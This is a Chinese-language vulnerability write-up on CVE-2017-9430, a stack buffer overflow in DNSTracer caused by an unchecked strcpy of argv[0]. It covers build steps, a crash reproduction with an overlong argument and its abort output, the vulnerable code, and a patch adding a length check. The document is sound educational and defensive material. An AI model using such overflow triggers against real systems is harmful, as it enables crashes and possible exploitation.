CVE-2017-9430
影响程序:DNSTracer < 1.9
漏洞类型:栈缓冲区溢出
产生原因:strcpy 前未作长度检查
漏洞复现 首先编译安装 DNSTracer:
1 2 3 4 5 $ wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz $ tar zxvf dnstracer-1.9.tar.gz $ cd dnstracer-1.9$ ./confugure $ make && sudo make install
传入一段超长的字符串作为参数即可触发栈溢出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 $ dnstracer -v $(python -c 'print "A"*1025' ) *** buffer overflow detected ***: dnstracer terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(+0x67377)[0xb757f377] /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x68)[0xb760f6b8] /lib/i386-linux-gnu/libc.so.6(+0xf58a8)[0xb760d8a8] /lib/i386-linux-gnu/libc.so.6(+0xf4e9f)[0xb760ce9f] dnstracer[0x8048f26] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf7)[0xb7530637] dnstracer[0x804920a] ======= Memory map: ======== 08048000-0804e000 r-xp 00000000 08:01 270483 /usr/local/bin/dnstracer 0804f000-08050000 r--p 00006000 08:01 270483 /usr/local/bin/dnstracer 08050000-08051000 rw-p 00007000 08:01 270483 /usr/local/bin/dnstracer 08051000-08053000 rw-p 00000000 00:00 0 084b6000-084d7000 rw-p 00000000 00:00 0 [heap] b74e4000-b7500000 r-xp 00000000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7500000-b7501000 rw-p 0001b000 08:01 394789 /lib/i386-linux-gnu/libgcc_s.so.1 b7518000-b76c8000 r-xp 00000000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so b76c8000-b76ca000 r--p 001af000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so b76ca000-b76cb000 rw-p 001b1000 08:01 394751 /lib/i386-linux-gnu/libc-2.23.so b76cb000-b76ce000 rw-p 00000000 00:00 0 b76e4000-b76e7000 rw-p 00000000 00:00 0 b76e7000-b76e9000 r--p 00000000 00:00 0 [vvar] b76e9000-b76eb000 r-xp 00000000 00:00 0 [vdso] b76eb000-b770d000 r-xp 00000000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so b770d000-b770e000 rw-p 00000000 00:00 0 b770e000-b770f000 r--p 00022000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so b770f000-b7710000 rw-p 00023000 08:01 394723 /lib/i386-linux-gnu/ld-2.23.so bf8e5000-bf907000 rw-p 00000000 00:00 0 [stack] Aborted (core dumped)
漏洞分析 漏洞原因:把参数 argv[0]
复制到数组 argv0
的时候没有做长度检查,如果大于 1024 字节,就会导致栈溢出:
1 2 3 4 #ifndef NS_MAXDNAME #define NS_MAXDNAME 1024 #endif
1 2 3 4 5 6 7 8 9 int main (int argc, char **argv) { [...] char argv0[NS_MAXDNAME]; [...] strcpy (argv0, argv[0 ]); [...] }
漏洞修复 要修这个漏洞的话,在调用 strcpy()
前加上对参数长度的检查就可以了:
1 2 3 4 5 6 7 8 9 10 11 if (strlen (argv[0 ]) >= NS_MAXDNAME){ free (server_ip); free (server_name); fprintf (stderr , "dnstracer: argument is too long %s\n" , argv[0 ]); return 1 ; } strcpy (argv0, argv[0 ]);